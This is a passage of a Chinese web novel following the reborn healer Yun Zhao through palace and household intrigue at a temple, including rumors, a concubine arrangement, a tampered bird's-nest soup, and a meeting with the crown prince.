云昭颔首:“那人引动郡主身上咒术爆发,一来是为试探出帮殿下压制恶咒之人;
二来,若我不能应对,等到所有夫人小姐身上的咒术都到期,恐怕就是殿下身上桃花煞彻底爆发的时刻。”
赵悉听得不寒而栗。
“要我说,这男子生得太好,也不安全。”他痛心疾首,“给秦王殿下种桃花煞的人,分明是爱而不得,所以才这般发癫!”
云昭强忍笑意:“那赵大人也要多加小心才是。”
说罢,她转身离去,衣袂拂过门槛,带起一阵清冷的夜风。
赵悉怔怔立在原处,过了好一会儿才猛地回过味来,一双桃花眼倏地亮得惊人:“她方才……这是在夸我生得俊?”
他抚着自己下颌,险些要笑出声来,“娘诶,难道小爷我今年真要红鸾星动,走桃花运了?”
这一夜,云昭房中烛火通明,彻夜未熄。
她伏在案前,指尖轻抚过从有悔大师处借来的蛊术古籍。
书页泛黄,墨迹斑驳,她却看得极专注,一心想从这些残卷中寻到前世曾在她身上见过的蝶蛊踪迹。
前世种种,如走马灯般在眼前流转。
她过得那般凄惨,除却姜家上下凉薄心狠,一心想扶姜绾心登上凤位,更因有这隐于幕后的邪师推波助澜!
若无此人屡次暗中指点,她何至于被姜珩剜去心头血、被种蛊重创、被他们用银管吸尽全身血液,最终还要替姜绾心承受恶咒,死得那般肮脏不堪!
不知为何,当回忆起前世的点点滴滴,云昭从此人步步为营的算计中,陡然品出一种深沉的、近乎执念的恶意——
此人似乎远比姜绾心、比任何姜家人都更憎恨她,一心要将她踩入污泥,折磨至死!
烛火“噼啪”一声轻响,拉回她的思绪。
这一世,她既得机缘重生,定要将前世真相一一揭开,将这藏身暗处的魑魅魍魉连根拔起!
任何一个以邪术害人的恶徒,都休想从她手中逃脱!
第64章 软刀子**
次日是个阴天,山间起了薄雾,翠色朦胧似画,竹影随风轻摇。
苏氏坐在院中石凳上,指尖灵活地编着五彩丝绦。
云昭则在一旁静心翻阅从有悔大师处借来的医典,书页泛黄,墨香淡淡。
母女二人各忙各的,手边放着长公主一早派人送来的茶点,享受这难得的静谧时光。
昨夜忘尘阁种种,苏氏虽并未切身参与其中,但对于发生了什么,事后已从莺时的转述知道得几位详尽。
她几次欲言又止,最终还是开口:“昭儿。日后再遇到这样的事,切不可如此冒险了。须知女儿家的清白,是很容易被人做文章的。”
如果苏氏只说让云昭注意保护自身名节,云昭只会觉得寻常。但苏氏这话……听着隐隐觉得别扭。
云昭正待细问,忽然外间传来通传声,竟是英国公夫人与承义侯夫人相偕来访。
“可算大好了!”英国公夫人一进门便执起苏氏的手细看,“瞧这气色,仿佛比从前更好了。”
承义侯夫人话不多,却句句切中要害:“外头都在传,说杨氏给你下了蛊,她这一死,你的蛊毒自然就解了。”
苏氏闻言失笑:“哪就有这般玄乎了!”
她含笑睇了云昭一眼:“多亏昭儿心细,从我午膳的残羹中查出端倪。昨日傍晚我便已服了解药,只是那时体力不支,明知外间生变,也只能卧床干着急。”
这番说辞原是前日四人商议好的。
彼时柔妃轻抚茶盏,眸光流转:“想要破局,就不能坐以待毙。我们既有小医仙坐镇,何不先下手为强,打他们一个措手不及?”
让苏氏在关键时刻佯装晕倒的计策,正是她想出的。
云昭当时凝眉沉思:“此计甚好,但需母亲判断到位,把握时机。”
谁料对方竟如此心急,为了陷害云昭,特地将杨氏从家中请来。
苏氏当时晕倒,也是情急之下的应变,甚至来不及与云昭通气。
至于后来的事……除了都在计划之中,更因她们收到了一张陌生字条。
上书:今夜勿出,有人欲毁清白。
有了这张字条,再加上从柔妃和苏氏怀中搜出的邪物,以及云昭身体感知的异样——
这一切,足以让云昭和柔妃判断出对方的阴谋。
“可查清到底是何人下毒?”英国公夫人蹙眉问道。
苏氏指尖轻抚盏沿,唇边笑意清浅:“我从前缠绵病榻多年,久居内宅不出,这京中哪来这许多仇怨。不过是误食了相克之物,伤了脾胃罢了。”
她本就是玲珑心窍,年少时若非才情出众,又怎会赢得京城第一才女的雅誉。从前许多事,她并非看不透彻,只是心性高洁,不屑与宵小争长短。
却不曾想,这一味退让,竟换来旁人步步紧逼,险些命丧黄泉……
历经生死大劫后,这些内宅手段在她眼中已是洞若观火:
有些事,越是言之凿凿,越无人相信;反倒说得云山雾罩,给旁人留下推想的余地,才能达到想要的效果。
承义侯夫人眸光微转,神色依旧淡然:“这么说来,外间那些传言,倒也不算空穴来风了。”
英国公夫人叹道:“那杨氏真是死有余辜。”
她想起今早膳堂里女眷们的窃窃私语,神色间不由添了几分微妙,“你们可听说外头如今在传什么?”
苏氏一怔:“传什么?”
承义侯夫人也不明所以。
英国公夫人轻咳一声,目光扫过一旁**的云昭,似觉当着未出阁的姑娘说这些不甚妥当,便将声音压得更低:
“也不知是从谁那儿传开的,都说昨夜在忘尘阁与杨氏一同被……被的人,其实是梅氏。”
苏氏对此毫不知情,脸上的错愕显而易见:“这……这是从何说起?”
“淑人有所不知。”英国公夫人解释道,“昨夜乱糟糟的,事情一桩接一桩,大家都没顾上细究。
今早却有人提起,说昨夜除了云昭身着白裙,梅柔卿也是一身素白。再后来她姗姗来迟,却换了一身藕荷色。这话头一起,便越传越真了。”
她凑得更近,几乎贴在苏氏耳畔:“还有人说得有鼻子有眼,道她嘴唇和脖颈上的红肿,瞧着不像是吃错了东西,倒像是……与人激烈交欢所致。”
尽管英国公夫人已是耳语,云昭仍是听了个分明。
她垂眸**,心下清明:这般手笔,倒像是柔妃的谋划。
不愧是入宫即得圣心,宠冠六宫的女子。
最懂如何用流言这把软刀子**。
此刻的梅柔卿,想必正懊悔得撕心裂肺罢?
这段私语说罢,三位已婚妇人默契地交换了一个心照不宣的眼神,纷纷端起了手边的茶盏。
茶香氤氲中,英国公夫人又拉起苏氏的手,“三日后就是佛诞日,听说昭儿拿了今年碧云寺第一炷香的彩笺,这可是天大的福气。”
她犹豫片刻,欲言又止。
苏氏见状,心下已猜到几分,便道:“我虽不常外出,也知这第一炷香的规矩。按例,昭儿既是彩笺得主,不仅可向闻空大师求卜一卦,还能再为一人推算命格。”
她顿了顿,看向云昭:“此事是昭儿自己博来的荣光,我这做母亲的未能出力,此事,全凭昭儿自己做主。”
英国公夫人忙将期待的目光投向云昭。
云昭浅笑盈盈:“灼灼姑娘几次三番为我说话,昨日夫人又为我们母女仗义执言。若有机会,我定当为她争取。只是离家前,父亲特地嘱咐,须将此机会留给绾心妹妹。”
一旁苏氏端着茶盏的手微微一顿,却未过多表露讶异。
英国公夫人讪讪一笑:“你们一家姊妹,这是自然。”随即轻叹,“其实我今日来相求,从早起就浑身不自在。现在既说开了,你们就当我没提过这事。”
见她这般爽利人难得露出困窘神色,苏氏柔声问道:“夫人可是在忧心灼灼的婚事?”
英国公夫人迟疑片刻,终是点头:“昨日见识过昭儿通晓玄术,我也不瞒你们了。
灼灼幼时在老家,曾得一位游方高人批命,说她命格特殊,
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若十八岁前不出阁,恐有性命之忧。”
坐在一旁的承义侯夫人淡淡道:“没想到,你也迷信这些。”
英国公夫人无奈看她一眼:“你家里只有一个小子,不懂养闺女的心酸。这事宁可信其有,万一应验了呢?”
云昭沉吟道:“我倒是可以给灼灼姑娘推一卦,只不过……”
英国公夫**喜过望,握住云昭的手:“昭儿放心,不论卦象吉凶,我绝不纠缠,更不会怨怼!”
说着从腰间取出荷包,掏出一张万两银票:“对了,这是卦金。我听说凡是推卦,都要给银子的。”
云昭不禁失笑——原来这英国公夫人竟是有备而来。
她转而看向承义侯夫人。
承义侯夫人神色坦荡:“家中老夫人自上月起,每逢子时三刻必醒,已闹腾月余,遍请名医不见好转。想请姑娘前去看看。”
云昭若有所思,片刻后道:“灼灼的卦金我收下了。但卜卦需本人在场,此事还需如实告知灼灼。”
英国公夫人连连称是。
云昭又对承义侯夫人道:“府上老夫人的症状,我略有猜测,但还需亲眼看过方能定论。”
承义侯夫人闻言,唇角浮起清浅笑意,容色如深谷幽兰般雅致。
“待此间事了,府上会递拜帖,我在家中恭迎姑娘。”她似才想起般补充道,“对了,我府上便是赵家,京兆府尹赵悉,是我亡夫的亲弟弟。”
两位夫人得偿所愿,相携离去时步履轻快。
她们前脚刚出院门,雪信便快步来报:“夫人、小姐,绾心小姐听说夫人醒了,正在外求见。梅娘子也在。”
苏氏蹙眉道:“让她二人在东厢房稍候一盏茶的工夫,我有几句话要同小姐说。”
待雪信躬身退下,苏氏看向云昭:“昭儿,你明知她是姜世安与那梅氏的私生女,方才为何要在英国公夫人面前说,要将那唯一的机会让给她?”
自前次与姜家对簿公堂后,她们母女便再未踏足姜家半步。姜世安便是有心提出这等无理要求,也寻不着机会开口。
更何况经过这些时日的相处,她早已看出女儿行事果决,绝非任人拿捏的软弱性子。
自打入碧云寺以来,姜绾心是如何明里暗里算计挑唆的,没有人比她们母女更清楚!
这般珍贵的机缘,昭儿怎会甘心拱手让与她?
云昭唇边浮起一缕清浅的笑:“母亲可想过,梅柔卿和姜绾心母女此来碧云寺,为何会与贵妃联手设局?”
苏氏沉吟道:“贵妃深恶柔妃,而她们母女,自是趁此机会,将我们母女二人置于死地。”
云昭眸光流转,透出几分冷冽:“她们自然想要我们的性命,但眼下,她们最迫切想要的,却是这第一炷香的机缘。”
“既然这是姜绾心梦寐以求之物,那我这个做姐姐的,不妨大方一回,也让妹妹沾一沾我的光。”
苏氏紧紧握住云昭的手:“昭儿,你究竟有何打算?”
云昭道:“母亲可愿陪女儿看一出……狗咬狗的好戏?”
第65章 竟要她屈居妾室?
正说话间,雪信又碎步趋近,低声禀报:“夫人、小姐,老爷来了。”
她面带迟疑地看向云昭,“老爷说……天刚破晓时就收到小姐遣人送去的密信,对昨夜种种已尽数知晓。方才他已得了长公主殿下允准,进寺料理杨氏后事。临行前,有几句体己话,想与夫人和小姐当面细说。”
云昭道:“请父亲进来吧。”
又转向侍立一旁的莺时吩咐,“去请厢房里候着的二小姐和梅娘子也过来一叙。”
远远地,只见姜世安步履从容地穿过花圃。一袭靛蓝暗纹锦袍衬得他身姿挺拔,眉目清隽,虽已年近不惑,眉目间仍可见当年状元郎的风采。
这般品貌,难怪当年能哄得母亲倾心下嫁。只可惜,锦绣皮囊之下,是一副忘恩负义、**换女的卑劣心肠。
姜世安心情很差。
那日公堂之上,被秦王当众宣读圣上口谕申饬,这些日子以来,他一直闭门谢客,至今未能寻得合适时机入宫面圣剖白。
原指望家中几个女眷有这体面入寺祈福,不论是跟着长公主也好,跟着贵妃也罢,落在朝中同僚眼里,那都是难得的体面。
谁承想昨夜竟闹出这等丑事!
杨氏,她怎么敢!
他满腹郁结无处排遣,抬眼却见苏氏端坐石桌旁,薄施脂粉,乌发轻绾,一袭蜜色水云缎牡丹纹长裙,俨然一位气度高华的贵妇人。
姜世安不觉看得怔住。
"啪——"
苏氏猛地将手中青瓷茶盏往地上重重一掷:“梅柔卿!她害我害得还不够吗?”
茶盏应声碎裂,滚烫的茶水溅湿了姜世安的袍摆,他却恍若未觉。
苏氏年少时,模样虽美,脾性却温顺得近乎木讷,整日不是捧书就是**字,实在乏味得很。
可眼前这眉眼含煞的中年美妇,泼辣生动,眼波流转间竟让他心头一跳——
这哪还是当年那个温顺得如同提线木偶的发妻?
姜世安心头泛起一丝奇异的感觉。
“母亲息怒。”云昭正待劝解,一转头见到姜世安,语气转为欣喜,“父亲来得正好!母亲受了委屈,正该与父亲细细分说。”
姜世安尚在怔忡间,苏氏已泫然欲泣地望向他,语带哽咽:“夫君若是真心爱慕梅氏,何不早与妾身明言?”
“夫人这是从何说起……”姜世安慌忙辩解。
苏氏却不给他开口的机会,径自说道:“今日既是一家人都在,不如就由妾身做主,让夫君纳了梅氏!也好全了她这些年的情分。”
姜世安此时已回过神,整了整衣襟,端出惯常那副君子如风的姿态:“夫人这是哪的话。我与梅氏,绝不是你想的那样。”
苏氏唇边凝着一抹苦涩的弧度:“我从前虽缠绵病榻,可孩子们在廊下说的体己话,未必就传不进我这做母亲的耳中。
珩儿待梅氏亲近,绾心更是将她视若生母。
今日既把话说开,不如就由我做主,为夫君纳了这位如夫人。总好过让她这般不明不白地客居府中,平白惹人非议。”
梅柔卿宁可名不正言不顺地寄人篱下,也从不开口讨要名分,并非她真的不慕虚名!
她贪求的,是将女儿记在苏氏名下,攀上太子这门天家姻亲!
她苦等的,是苏氏咽气之后,以继室之尊风风光光执掌中馈,将这尚书府彻底握在掌心!
这步步为营的算计,这深谋远虑的棋局,当真是妙极,只可惜……
这世间的男子,从来都是妻不如妾,妾不如偷,偷不如偷不着。
一旦得了手,再美的白月光,也要变成黏在衣衫的饭黏子。
姜世安眸光几经变幻,终是缓缓颔首,语气带着几分刻意的淡然:“既然夫人执意如此……”
“父亲?”姜绾心人未至声先到,提着裙摆快步走来,“您怎么突然来了寺里!”
一旁的梅柔卿死死揪住袖口,指尖因用力而泛白,她难以置信地望向姜世安——
苏氏的提议,他动心了?
她出身江南沈氏,虽然非嫡非长,却也是精心教养的贵女。
论容貌才情,她自认远胜当年那个刻板的沈氏嫡女,更不用说苏氏这等只会吟风弄月的清贵之女!
当年姜世安不过一介寒门状元,若非沈家遭难,他连她的裙角都够不着!
他娶了苏氏的第二日,便信誓旦旦许诺,只待他们计划完成,苏氏一死,必以正妻之位相迎!
可如今……他竟要她屈居妾室?
是因为苏氏突然病愈,容颜娇艳,他又舍不得了?
还是因为,苏氏这个新晋的三品淑人,活着比**对他更有用处?
是了,那日公堂之上,他看苏氏的眼神那般灼热,她早就该提防了!
“姜大人。”两行清泪适时滑落,梅柔卿的声音轻颤如风中残蕊:“当日厚颜寄居府中,实是走投无路。如今闹得这般难堪……我实在无颜再留在府上了。”
这般欲拒还迎的姿态,是她最擅长的把戏。
不等姜世安开口,苏氏已先一步道:“妾身在此恭喜,老爷今日双喜临门。
一则,妾身做主,替老爷纳梅氏为妾,也算全了她寄居姜府多年的这段缘分;
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>二来,昭儿得了第一炷香的机缘,她顾念姐妹之情,已与闻空大师说定,佛诞日那日让大师也为心儿推演命格。”
此言一出,在场三人顿时神色各异。
“当真?”姜世安不由看向云昭,“我们阿昭果然识大体,顾全大局。”
云昭神色淡然:“全凭母亲慈心劝导。”
若云昭突然热络,姜世安倒要起疑,反而是这般不卑不亢的态度,才真让他卸下心防。
看来苏氏,终究还是从前那个为他痴狂的妇人!
这些年她卧病在床,眼睁睁看着梅氏在府中立足,看着儿女与梅氏亲近,如今身子好了,又得了诰命,自然要逞一逞这当家主母的威风。
书香门第出来的女子,终究脱不开这些争风吃醋的内宅手段。
至于梅儿……性格柔韧,心思缜密,对付一个苏氏,绰绰有余。
姜世安心下得意,自觉将这几个女人的心思都看得分明,当即朝苏氏郑重一揖:“夫人贤惠大度,为夫感佩于心。”
梅柔卿听得浑身发冷,如坠冰窟。
他竟真的应了!
这些年来,她为他生儿育女,在老夫人跟前尽心伺候,为他的仕途出谋划策,到头来只换得一个妾室的名分?
他难道忘了,当年若没有她用计,他怎会有机会迎娶苏氏女入门?
十六岁那年,沈府梅树下,是谁执手相看,许下“韶梅在心,绾卿一人”的誓言?
她为此不惜改名换姓,还将女儿取名“绾心”——
如今,一切都成了天大的笑话!
而姜绾心早已喜上眉梢。
父亲果然手段了得,刚一来,便能让那个向来强硬的姜云昭松口让步!
她不由悄悄瞥向梅柔卿——
娘亲昨夜还信誓旦旦,定要在佛诞日前除去姜云昭这个祸患。可依她看来,让这个所谓的嫡姐多活些时日,反倒更妙。
待她在佛诞日得了闻空大师亲口批下的"凤命"箴言,待太子殿下为她请来赐婚圣旨……
更要让姜云昭亲眼看着,她们姊妹二人,究竟是谁飞上九天,又是谁被碾落尘泥!
待到那时,再让这位高高在上的嫡姐在绝望中凄惨死去,才真真是大快人心!
不远处,云昭将梅柔卿眼底翻涌的恨意与姜绾心眉梢掩不住的得意尽收眼底。
她垂眸轻抚茶盏,慢条斯理地啜饮一口,唇角泛起若有似无的浅笑。
这一大家子,正要离心离德、各怀鬼胎,才更有的玩,不是吗?
至于佛诞日——
她可是期待这位梅姑又想出什么诡计招待她呢!
第66章 是太子动了手?
打发了各怀鬼胎的三人,院中重归宁静,苏氏眉宇间的忧色却未散去。
她轻叹一声,拉过云昭的手:“梅氏向来心高气傲,今日我逼你父亲当面允她为妾,无异于将她尊严踩进泥里,你又允诺带姜绾心同享闻空大师批命……
我只怕她狗急跳墙,会对你不利。”
云昭反握住母亲微凉的手,唇角噙着一抹令人心安的笑意:“母亲,我所说的‘狗咬狗’,可不止父亲与梅氏这一出。”
苏氏微微一怔:“你是说……?”
“我安排在院外的人回报,昨夜更深露重时,贵妃身边的锦屏姑姑,曾端着一碗药进过梅氏的院子。”
云昭眸光清洌,声音压低,“母亲以为,经此一事,梅氏还会如从前那般,对贵妃忠心不二吗?”
女子名节重于性命。
贵妃与梅氏先前合谋,结局却是一死一伤,
梅氏不仅折了杨氏这枚棋子,自身更受重创,心中岂无怨怼?
贵妃这个节骨眼上派人送药,自以为拿捏住了梅氏的把柄,却不知她饲养的,是一条随时会反噬的毒蛇。
苏氏沉吟片刻,摇了摇头:“即便如此,恐怕也不足以令她二人彻底反目。”
毕竟,她们眼下仍有共同的目标——打压柔妃,除去云昭。
云昭忆及前次在宫中,太子听闻贵妃有孕时那一闪而过的异常神情,眼底掠过一丝深思。
此事虽尚不能作为确凿的把柄,但如今梅氏与贵妃之间已生嫌隙……
或许,她正可借梅氏这把淬毒的**,先行试探虚实。
“云姑娘救命——!求您快去看看我们娘娘!”
一声凄厉的惊呼,骤然打破了小院的宁静!
云昭抬眸,只见柔妃身边的大宫女染墨跌跌撞撞奔来,面色惨白如纸,俨然已是三魂失了七魄!
“发生何事?”云昭倏然起身,话音未落,人已疾步奔出。
刚跨出院门,便听得远处传来女子撕心裂肺的哀嚎!
这动静惊动了整片厢房。
附近各处院门纷纷开启,众人惶惶不安,朝声音来处涌去。
云昭步履如风,衣袂翻飞间,唯有李灼灼能跟上她的脚步。
二人一路疾奔,只见不远处的凉亭下,柔妃瘫坐在冰凉的青石阶上,十指死死抵住腹部,月白裙裾已染上刺目血迹。
她面色灰败,唇无血色,宛如风雨中凋零的玉兰,气息微弱得几不可闻。
贵妃站在一旁,脸色铁青,广袖下的指尖微微发颤。
她身侧围着余氏等人,皆是一副惊魂未定的模样。
梅柔卿与姜绾心恰从另一条小径匆匆赶来,二人面上俱是惊疑不定的沉凝,倒不似对此早有预料。
云昭疾步上前,指尖扣住柔妃腕脉的瞬间,心头猛地一沉——
她早知柔妃假孕争宠,初闻墨染前来报信,还以为柔妃是受了别的伤,故而一路疾奔。
待远远瞧见她裙上少许血迹,她甚至暗自松了口气,以为不过是出苦肉计。
可此刻指尖下的脉象浮滑散乱,如断线之珠,分明是元气溃散、五脏衰败之兆!这绝非伪装!
“不关本宫的事!”
孟贵妃见众人齐聚,尤其见云昭面色凝重,当即厉声辩驳:“是她非要尝本宫这盏冰糖燕窝羹!”
云昭眸光扫过石桌:“只有柔妃娘娘用了这羹?”
孟贵妃身边的余氏道:“娘娘的燕窝羹是小厨房特制的,金碗盛着的便是。”
身旁的莺时走上前,端过燕窝羹,奉至云昭面前。
一位夫人举起银簪:“我方才都已验过了,喏,我这银簪,一点都没变色。”
一旁的余氏顺势道:“会不会根本不是这燕窝羹的事儿!许是娘娘自己不当心……”
此言一出,顿时引来众人侧目。
“慎言!”英国公夫人蹙眉打断,“柔妃娘娘岂会拿龙胎儿戏?”
云昭指间金针连闪,护住柔妃心脉,这才暂且舒了口气。
她正待开口,却感觉到袖底被微凉的手指轻轻攥住,随即在她手背匆匆写了几字。
长公主匆匆赶来,见状面色骤变,又不敢催促云昭,等了好一会儿,方小心翼翼问:“昭儿,情况如何?”
云昭再次探脉,与柔妃交换一个心照不宣的眼神,方缓声道:“胎象暂稳。但娘娘元气大
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伤,需好生静养。”
众人闻言,纷纷松了口气。
长公主抚着心口连道万幸,忙唤来婆子将柔妃小心移送厢房。
就连素来跋扈的孟贵妃都不觉松了口气,破天荒没多话,转身就要走。
“且慢。”
众目睽睽之下,云昭忽地端起莺时手里的燕窝羹,轻抿一口,唤住众人。
追来的苏氏见状,强忍着没叫出声。
李灼灼则跺脚道:“云昭,你傻啊!”
“娘娘见红之故,确在此羹。”她迎上众人惊愕不解的目光,缓声解释道,“银针验不出,是因这里面并非毒物,而是一味药材。”
“药材?”贵妃眉峰紧蹙,“本宫的燕窝向来只放冰糖。”
一旁的锦屏也道:“这燕窝羹是奴婢盯着厨娘炖煮,过程中,从未添加他物。”
云昭将金碗递至锦屏面前:“此药名为‘四叶参’,常人服之无碍,但孕妇食用,便会血行逆乱,胎动不安。你细品,可尝得出极淡的奶腥气?”
锦屏接过浅尝,脸色骤变:“确有一股若有似无的奶味。”
她当即跪倒在地,“娘娘明鉴,炖煮时奴婢寸步不离,实在不知为何会……”
“不怪你。”云昭指尖轻抚碗沿,眸光清洌,“这燕窝在蒸细时已用药水浸透,之后再行挑**、晾晒,最终制成燕盏。若非如此,断不会气味如此浅淡,药性却这般峻烈。”
她转眸看向面色发白的孟贵妃,一字一句道:“娘娘不如仔细想想,这批燕窝究竟从何而来。”
“这可是极难得的金丝黄燕。”人群中,忽有人小声嘀咕:“前日太子殿下特意差人送来的……”
自从贵妃入住碧云寺,每日都要用上两盏燕窝——
或是太子送来的金丝黄燕,或是血燕,因这般品相的燕窝极是难得,许多与贵妃关系不错的妇人都知此事。
此言一出,满座哗然。
“怎么可能?贵妃娘娘可是太子殿下的亲表姐!”
“怕是经手之人暗中做了手脚?”
一片嘈杂中,云昭清晰地看见贵妃身子猛地一晃,眸底闪过一抹极深的忌惮与痛楚。
第67章 你对自己下毒
日影渐斜,将雕花窗棂的轮廓拉成一道道修长的阴影。
锦屏轻手轻脚地将一只镶螺钿漆盒轻置于案几上,盒盖开启,露出里面盏盏饱满的金丝黄燕窝,只是已然空了一小半。
贵妃怔怔望着那处空缺,手边的青玉茶盏早已凉透,她却始终未曾沾唇。
锦屏小心翼翼地逐一捧起燕窝,低头细嗅,片刻后将它们分成两拨,声音凝重:“娘娘,这一侧的燕窝……确实都带着那股极淡的异香。”
贵妃面色沉静如水,辨不出喜怒,锦屏窥着她的神色,一时不敢多言。
“娘娘,”姜绾心轻声细语地开口,“您说……今日这事,会不会是柔妃与那姜云昭联手做的一场戏?”
贵妃的目光缓缓移至她的脸上。
姜绾心绽开一个恰到好处的乖巧笑容:“民女只是觉得,太子殿下是您的亲表弟。如今皇后娘娘久不在宫中,殿下在这深宫里无人可依,唯独与娘娘素来亲厚,怎会做出这等亲者痛、仇者快之事?”
她微偏着头,一派赤诚的建议,“要不,咱们寻个绝对信得过的人,再仔细验看一番?说不定,这所谓的奶腥气,并非什么害人之物呢!”
梅柔卿静立一旁,敏锐地察觉到贵妃的异常。
孟贵妃素来高傲跋扈,心性却浅白得很。
若她真的认定是太子下手,此刻早已雷霆震怒;若怀疑是有人构陷太子,也必会雷厉风行即刻下令彻查。
可眼前的贵妃,眉宇间不见怒色,反而笼罩着一层难以化开的阴郁愁绪……
梅柔卿觉得这很不对劲。
但无论是何原因,眼下倒是个千载难逢的机会。
她顺着姜绾心的话柔声道:“娘娘,妾身恰有一位挚交,是京中某大药堂的坐堂大夫。他医术精深,为人更是稳妥。若娘娘信得过,妾身愿即刻下山,携几盏燕窝请他验看。”
贵妃的视线落在梅柔卿身上,审视片刻。
梅氏虽不及余氏等人跟随自己日久,心思也活络,但胜在机敏,更通晓些玄门手段。
她当初看重梅氏,正是因其善解人意,且有些非常之能。
若她真能联络到医术高明又口风严谨之人,倒省了自己动用宫中御医,徒惹注目。
“准了。”贵妃终于开口,吩咐锦屏,“给梅娘子备足银两。”
又对梅柔卿叮嘱,“入夜后再动身,明日天亮之前,务必返回。”
梅柔卿深深垂首:“妾身领命,定不负娘娘所托。”
言毕,她便带着姜绾心躬身退下。
一出殿门,梅柔卿脸上的温顺顷刻消散。
今日她一时不察,竟着了姜云昭与那苏氏的道!
如今寺中流言蜚语满天飞,皆传她正是昨夜在忘尘阁失了清白又逃走的那个女子……
那些话越传越是不堪,简直字字诛心!
幸而这些贵妇还在寺中,谣言尚未传入京城。
可一旦到了佛诞日,京城权贵齐聚碧云寺,这些污言秽语势必瞒不住姜家!
若是传入姜世安耳中,而他今日又当着苏氏的面应下纳自己为妾……以他那多疑的性子,必定认为这一切都是她精心设计的圈套!
苏氏这一招,当真恶毒至极!
她与苏氏那等目光短浅的蠢钝女子不同!
当年是她独具慧眼,不嫌弃姜郎出身寒微,看中他的气度才学,二人团聚后,又一路辅佐他坐稳尚书之位,姜郎这些年,亦待她一心一意……
若非姜云昭突然回京,还救下了本该命丧丹炉的苏氏,事情怎会落到今日这般被动的境地!
如今正好借贵妃之事遮掩,她今夜必须下山。
佛诞日,不仅是心儿一步登天的日子,也必将是她姜云昭身败名裂、永堕泥沼之时!
*
另一边,柔妃厢房内。
云昭再次为柔妃细细诊脉,待她身边的大宫女墨染拿着药方离去,方在床畔绣墩上坐下。
柔妃对侍立两侧的小宫女微微颔首:“你们先退下。”
云昭深知眼前之人绝非等闲。
事实上,自她入京以来,阮溪月可说是她所见最为玲珑心窍的女子。
尽管云昭看不透她究竟意欲何为,但她从不打算过多追问——
每个人都有不可言说的秘密。正如她的重生与复仇,本就是最不愿为人所知的隐秘。
“你对自己用了毒。”云昭语气平静。
今日当着众人她流的血,不过是障眼戏法罢了。
云昭口中的“用毒”,是她经年累月在体内种下,就算要解,也绝非一时片刻就能解开。
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>屏退左右后,柔妃也不再伪装虚弱,撑着身子坐起:“云姑娘医术通玄,果然什么都瞒不过你的眼睛。”
云昭沉吟片刻:“若即刻停手,好生调理,虽会折损寿数,但保你二三十年安康无虞。”
“我知云姑娘面冷心热……”柔妃轻蹙黛眉,似是有些拿不定主意,“此事,容我再思量些时日。”
云昭微微颔首。
“今日承蒙姑娘相助,”柔妃抬眸看她,“难道就没什么想问的?”
云昭道:“金丝黄燕里的四叶参,并非太子所为。”她顿了顿,眸光微深,“但你希望贵妃认定是他。”
柔妃轻叹:“云姑娘之聪慧,当真无人能及。”
云昭暗忖,虽不知柔妃此举深意,但很明显,太子与贵妃之事,柔妃也是知情者。
“特意请姑娘留下,是想提醒一句。”柔妃压低声音,“接下来几日,还望嘱咐手下人远离贵妃居所。”
云昭轻轻摇头:“娘娘欲对付贵妃,若在从前,自有千百种法子可行。可如今贵妃身边多了个梅氏。这两日娘娘也见识过她的手段,此女绝非寻常内宅女子。”
这话正戳中柔妃连日来的隐忧。
论心机、论手段,她自问不输旁人。就连医术药理,这些年她也在暗中修**,虽远比不上云昭,却也胜过许多自诩不凡的坐堂大夫了。
可若涉及阴私邪术、蛊咒秘法,便实非她所能及。
眼前这位云姑娘,倒是医玄双修的奇才,本该是最佳的助力。偏偏秦王殿下前日特意传讯叮嘱,他们的谋划,断不可将云昭牵扯过深。
故而一些原本定好的计划,如今只能暂且搁置,相时而动。
“梅氏所图,无非是太子与姜绾心的婚事。”云昭话锋一转,“若让她知晓,贵妃与太子之间……”
柔妃眸中倏然一亮:“多谢姑娘指点。”
“不必言谢。”云昭神色淡然,“我与梅氏母女,本就有不共戴天之仇。”
话音未落,忽闻门外传来墨染的声音:“云姑娘正在为娘娘看诊。”
二人立时噤声。却听一道陌生的女声响起:“太子殿下特命奴婢送来雪山参,为柔妃娘娘压惊。”
那声音稍作停顿,又道:“姜小姐,不知可否移步一叙?”
第68章 这双眼睛不必留了
夕阳熔金,暮色渐合。
简陋的茶棚在余晖中拖出长长的影子,不远处碧云寺的轮廓渐渐模糊在霭霭暮色之中。
云昭头戴幕笠,**于粗糙的木凳上。白纱垂落,掩去了她眼底一闪而过的冷芒。
水汽氤氲间,对面男子温润如玉的面容愈发显得清雅。
太子萧鉴眉眼含笑,指节分明的手正轻拂茶盏,一举一动皆透着皇室特有的端雅风华。
“孤听闻这几日寺中风波不断,先是南华郡主莫名吐血昏厥,后又有柔妃娘娘险些遭人暗算,全凭姜小姐妙手回春,力挽狂澜。”
云昭淡声道:“殿下特意邀我至此,应当不仅是为了赞我几句好话吧。”
萧鉴凝视着眼前女子。
薄纱虽遮掩了她的容颜,但那亭亭而坐的风姿,以及轻搭在桌沿的纤纤玉指,无一不在诉说着这是个难得的美人。
“孤今日奉父皇之命,前来为姑母送些药材。因寺内皆是女眷,不便入内,便让女官拂云代为送入。”
他语气温和,不疾不徐,“无意间在寺内听得些议论,方知燕窝一事……让表姐受惊了。此事孤定会让人彻查到底。”
云昭心下冷笑。
磨磨唧唧解释这一大堆,听着倒是冠冕堂皇,无非是想粉饰他在寺中布下耳目的事实。
看来,这位在民间素有“仁德”之名的太子殿下,并不如表面看来这般温良无害。
萧鉴话锋一转:“然则母后久居行宫,表姐又身怀六甲,孤实在放心不下,听闻姜小姐医术卓绝,接下来这几日,还请姜小姐多多照拂了。”
说着,他将几卷古籍轻轻推至她面前,“这里有几本医书,便赠予姑娘,聊表谢意。”
云昭扫过书卷,《金匮玉函经》、《千金翼方注疏》、还有《本草衍义秘录》。
倒都是市面上难得一见的孤本。若放在寻常医者面前,必定视若珍宝。
但她自幼在谷中跟随师父修**,祖师爷爷留下的那些手札笔录,其精妙深奥远,非这些俗物可比。
就在这时,一股强烈的被窥伺感骤然袭来!
那视线阴冷黏腻,充满恶意,仿佛毒蛇的信子舔过后颈。
前世被邪师窥伺算计、步步坠入陷阱的回忆,瞬间涌上心头。
那种宛如提线木偶般被人操纵的**,拼尽全力也无从反抗的绝望,她永生难忘!
云昭不动声色,眼风扫过周遭——
整间茶寮早已被太子的侍卫清空,除了她和太子,此间再无第三人。
她抬起眼,目光精准地落在太子腰间一枚墨玉蟠龙佩上。
那玉佩色泽深沉,隐隐流动着不祥的幽光——
有人正借这玉佩为媒介,在远处窥探着她的一举一动!
又是这等龌龊手段!
电光火石之间,云昭指尖悄然探入衣袖,触到一枚质地温润的**梳。
